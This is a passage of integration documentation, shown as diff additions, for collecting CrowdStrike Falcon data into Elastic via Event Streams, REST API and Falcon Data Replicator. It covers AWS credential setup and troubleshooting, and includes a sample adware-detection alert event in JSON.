+By default, the configuration file for the Falcon SIEM Connector is located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg`, which provides configuration options related to the events collected. The `EventTypeCollection` and `EventSubTypeCollection` sections list which event types the connector collects.
+
+### Collect data using CrowdStrike Event Streams
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. CrowdStrike App ID
+6. Required scopes for event streams:
+
+    | Data Stream   | Scope               |
+    | ------------- | ------------------- |
+    | Event Stream  | read: Event streams |
+
+:::{note}
+You can use the Falcon SIEM Connector as an alternative to the Event Streams API.
+:::
+
+#### Supported Event Streams event types
+
+The following event types are supported for CrowdStrike Event Streams (whether you use the Falcon SIEM Connector or the Event Streams API):
+
+- CustomerIOCEvent
+- DataProtectionDetectionSummaryEvent
+- DetectionSummaryEvent
+- EppDetectionSummaryEvent
+- IncidentSummaryEvent
+- UserActivityAuditEvent
+- AuthActivityAuditEvent
+- FirewallMatchEvent
+- RemoteResponseSessionStartEvent
+- RemoteResponseSessionEndEvent
+- CSPM Streaming events
+- CSPM Search events
+- IDP Incidents
+- IDP Summary events
+- Mobile Detection events
+- Recon Notification events
+- XDR Detection events
+- Scheduled Report Notification events
+
+### Collect data using CrowdStrike REST API
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. Required scopes for each data stream:
+
+    | Data Stream   | Scope         |
+    | ------------- | ------------- |
+    | Alert         | read:alert    |
+    | Host          | read:host     |
+    | Vulnerability | read:vulnerability |
+
+### Collect data using CrowdStrike Falcon Data Replicator (FDR)
+
+The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
+managed S3 buckets. When new data is written to S3, notifications are sent to a CrowdStrike-managed SQS queue (using S3 event notifications configured in AWS), so this integration can consume them.
+
+This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
+SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
+and the integration can read from there.
+
+In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
+Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
+
+#### Use with CrowdStrike managed S3/SQS
+
+This is the simplest way to setup the integration, and also the default.
+
+You need to set the integration up with the SQS queue URL provided by CrowdStrike FDR.
+
+#### Use with FDR tool and data replicated to a self-managed S3 bucket
+
+This option can be used if you want to archive the raw CrowdStrike data.
+
+You need to follow the steps below:
+
+- Create an S3 bucket to receive the logs.
+- Create an SQS queue.
+- Configure your S3 bucket to send object created notifications to your SQS queue.
+- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
+- Configure the integration to read from your self-managed SQS topic.
+
+:::{note}
+While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
+:::
+
+#### Configuration for the S3 input
+
+AWS credentials are required for running this integration if you want to use the S3 input.
+
+##### Configuration parameters
+* `access_key_id`: first part of access key.
+* `secret_access_key`: second part of access key.
+* `session_token`: required when using temporary security credentials.
+* `credential_profile_name`: profile name in shared credentials file.
+* `shared_credential_file`: directory of the shared credentials file.
+* `endpoint`: URL of the entry point for an AWS web service.
+* `role_arn`: AWS IAM Role to assume.
+
+##### Credential Types
+There are three types of AWS credentials that can be used:
+
+- access keys,
+- temporary security credentials, and
+- IAM role ARN.
+
+##### Access keys
+
+`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
+They are long-term credentials for an IAM user, or the AWS account root user.
+See [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
+for more details.
+
+##### Temporary security credentials
+
+Temporary security credentials have a limited lifetime and consist of an
+access key ID, a secret access key, and a security token which are typically returned
+from `GetSessionToken`.
+
+MFA-enabled IAM users would need to submit an MFA code
+while calling `GetSessionToken`. `default_region` identifies the AWS Region
+whose servers you want to send your first API request to by default.
+
+This is typically the Region closest to you, but it can be any Region. See
+[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+for more details.
+
+`sts get-session-token` AWS CLI can be used to generate temporary credentials.
+For example, with MFA-enabled:
+```bash
+aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
+```
+
+Because temporary security credentials are short term, after they expire, the
+user needs to generate new ones and manually update the package configuration in
+order to continue collecting `aws` metrics.
+
+This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
+
+##### IAM role ARN
+
+An IAM role is an IAM identity that you can create in your account that has
+specific permissions that determine what the identity can and cannot do in AWS.
+
+A role does not have standard long-term credentials such as a password or access
+keys associated with it. Instead, when you assume a role, it provides you with
+temporary security credentials for your role session.
+IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
+temporary credentials.
+
+See [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
+
+##### Supported Formats
+1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
+and/or `session_token`.
+2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
+    for generating temporary credentials.
+    If `role_arn` is given, the package will check if access keys are given.
+    If not, the package will check for credential profile name.
+    If neither is given, default credential profile will be used.
+
+  Ensure credentials are given under either a credential profile or
+  access keys.
+3. Use `credential_profile_name` and/or `shared_credential_file`:
+    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
+    the package will check for `credential_profile_name`.
+    If you use different credentials for different tools or applications, you can use profiles to
+    configure multiple access keys in the same configuration file.
+    If there is no `credential_profile_name` given, the default profile will be used.
+    `shared_credential_file` is optional to specify the directory of your shared
+    credentials file.
+    If it's empty, the default directory will be used.
+    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
+    For Linux, macOS or Unix, the file is located at `~/.aws/credentials`.
+    See [Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
+    for more details.
+
+#### Supported FDR data
+
+The FDR dataset includes:
+
+- Events generated by the Falcon sensor on your hosts
+- DataProtectionDetectionSummaryEvent (Data Protection detection summary)
+- File Integrity Monitor: FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events
+- EppDetectionSummaryEvent (EPP detection summary)
+- CSPM: Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events
+
+## How do I deploy this integration?
+
+1. In Kibana, go to **Management > Integrations**.
+2. In the "Search for integrations" search bar, type **CrowdStrike**.
+3. Click the **CrowdStrike** integration from the search results.
+4. Click the **Add CrowdStrike** button to add the integration.
+5. Configure the integration.
+6. Click **Save and Continue** to save the integration.
+
+### Agentless enabled integration
+
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent based installation
+
+Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
+You can install only one Elastic Agent per host.
+Elastic Agent is required to stream data from the AWS SQS, Event Streams API, REST API, or SIEM Connector and ship the data to Elastic, where the events will then be processed using the integration's ingest pipelines.
+
+## Troubleshooting
+
+### Vulnerability API returns 404 Not found
+
+This error can occur for the following reasons:
+1. Too many records in the response.
+2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
+
+To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
+
+### Duplicate Events
+
+The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events can be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of CrowdStrike fields that uniquely identify the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique and prevent duplicates.
+
+If duplicate events are ingested, to help find them, the integration's `event.id` field is populated by concatenating a few CrowdStrike fields that uniquely identify the event. These fields are `id`, `aid`, and `cid` from the CrowdStrike event. The fields are separated with pipe `|`.
+For example, if your CrowdStrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
+
+### Alert severity mapping
+
+The values used in `event.severity` are consistent with Elastic Detection Rules.
+
+| Severity Name              | `event.severity` |
+|----------------------------|:----------------:|
+| Low, Info or Informational | 21               |
+| Medium                     | 47               |
+| High                       | 73               |
+| Critical                   | 99               |
+
+The integration sets `event.severity` according to the mapping in the table above. If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
+
+| CrowdStrike Severity | Severity Name |
+|------------------------|:-------------:|
+| 0 - 19                 | info          |
+| 20 - 39                | low           |
+| 40 - 59                | medium        |
+| 60 - 79                | high          |
+| 80 - 100               | critical      |
+
+## Logs
+
+### Alert
+
+This is the `alert` dataset.
+
+#### Example
+
+An example event for `alert` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-03T18:00:22.328Z",
+    "agent": {
+        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "name": "elastic-agent-43429",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "alert": {
+            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+            "alleged_filetype": "exe",
+            "cid": "92012896127c4a948236ba7601b886b0",
+            "cloud_indicator": false,
+            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "confidence": 10,
+            "context_timestamp": "2023-11-03T18:00:31.000Z",
+            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+            "crawl_edge_ids": {
+                "Sensor": [
+                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
+                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
+                ]
+            },
+            "crawl_vertex_ids": {
+                "Sensor": [
+                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                ]
+            },
+            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+            "created_timestamp": "2023-11-03T18:01:23.995Z",
+            "data_domains": [
+                "Endpoint"
+            ],
+            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "device": {
+                "agent_load_flags": 0,
+                "agent_local_time": "2023-10-12T03:45:57.753Z",
+                "agent_version": "7.04.17605.0",
+                "bios_manufacturer": "ABC",
+                "bios_version": "F8CN42WW(V2.05)",
+                "cid": "92012896127c4a948236ba7601b886b0",
+                "config_id_base": "65994763",
+                "config_id_build": "17605",
+                "config_id_platform": 3,
+                "external_ip": "81.2.69.142",
+                "first_seen": "2023-04-07T09:36:36.000Z",
+                "groups": [
+                    "18704e21288243b58e4c76266d38caaf"
+                ],
+                "hostinfo": {
+                    "active_directory_dn_display": [
+                        "WinComputers",
+                        "WinComputers\\ABC"
+                    ],
+                    "domain": "ABC.LOCAL"
+                },
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "last_seen": "2023-11-03T17:51:42.000Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "AB-21-48-61-05-B2",
+                "machine_domain": "ABC.LOCAL",
+                "major_version": "10",
+                "minor_version": "0",
+                "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                "os_version": "Windows11",
+                "ou": [
+                    "ABC",
+                    "WinComputers"
+                ],
+                "platform_id": "0",
+                "platform_name": "Windows",
+                "product_type": "1",
+                "product_type_desc": "Workstation",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "LENOVO",
+                "system_product_name": "20VE"
+            },
+            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "grandparent_details": {
+                "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                "filename": "userinit.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                "local_process_id": "4328",
+                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                "process_id": "392734873135",
+                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                "timestamp": "2023-10-30T16:49:19.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "yuvraj.mahajan"
+            },
+            "has_script_or_module_ioc": true,
+            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "ioc_context": [
+                {
+                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "ioc_source": "library_load",
+                    "ioc_type": "hash_sha256",
+                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "type": "module"
+                }
+            ],
+            "ioc_values": [
+                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+            ],
+            "is_synthetic_quarantine_disposition": true,
+            "local_process_id": "17076",
+            "logon_domain": "ABSYS",
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "name": "PrewittPupAdwareSensorDetect-Lowest",
+            "objective": "FalconDetectionMethod",
+            "parent_details": {
+                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                "filename": "explorer.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                "local_process_id": "1040",
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                "process_id": "392736520876",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                "timestamp": "2023-11-03T18:00:32.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "mohit.jha"
+            },
+            "parent_process_id": "392736520876",
+            "pattern_disposition": 2176,
+            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+            "pattern_disposition_details": {
+                "blocking_unsupported_or_disabled": false,
+                "bootup_safeguard_enabled": false,
+                "critical_process_disabled": false,
+                "detect": false,
+                "fs_operation_blocked": false,
+                "handle_operation_downgraded": false,
+                "inddet_mask": false,
+                "indicator": false,
+                "kill_action_failed": false,
+                "kill_parent": false,
+                "kill_process": false,
+                "kill_subprocess": false,
+                "operation_blocked": false,
+                "policy_disabled": false,
+                "process_blocked": true,
+                "quarantine_file": true,
+                "quarantine_machine": false,
+                "registry_operation_blocked": false,
+                "rooting": false,
+                "sensor_only": false,
+                "suspend_parent": false,
+                "suspend_process": false
+            },
+            "pattern_id": "5761",
+            "platform": "Windows",
+            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+            "process_end_time": "2023-11-03T18:00:21.000Z",
+            "process_id": "399748687993",
+            "process_start_time": "2023-11-03T18:00:13.000Z",
+            "product": "epp",
+            "quarantined_files": [
+                {
+                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "state": "quarantined"
+                }
+            ],
+            "scenario": "NGAV",
+            "severity": 30,
+            "severity_name": "low",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "show_in_ui": true,
+            "source_products": [
+                "FalconInsight"
+            ],
+            "source_vendors": [
+                "CrowdStrike"
+            ],
+            "status": "new",
+            "tactic": "MachineLearning",
+            "tactic_id": "CSTA0004",
+            "technique": "Adware/PUP",
+            "technique_id": "CST0000",
+            "timestamp": "2023-11-03T18:00:22.328Z",
+            "tree_id": "1931778",
+            "tree_root": "38687993",
+            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+            "type": "ldt",
+            "updated_timestamp": "2023-11-03T19:00:23.985Z",
+            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "user_name": "mohit.jha"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.alert",
+        "namespace": "96581",
+        "type": "logs"
+    },
+    "device": {
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "manufacturer": "LENOVO",
+        "model": {
+            "name": "20VE"
+        }
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "dataset": "crowdstrike.alert",
+        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+        "ingested": "2025-10-09T10:20:29Z",
+        "kind": "alert",
+        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-19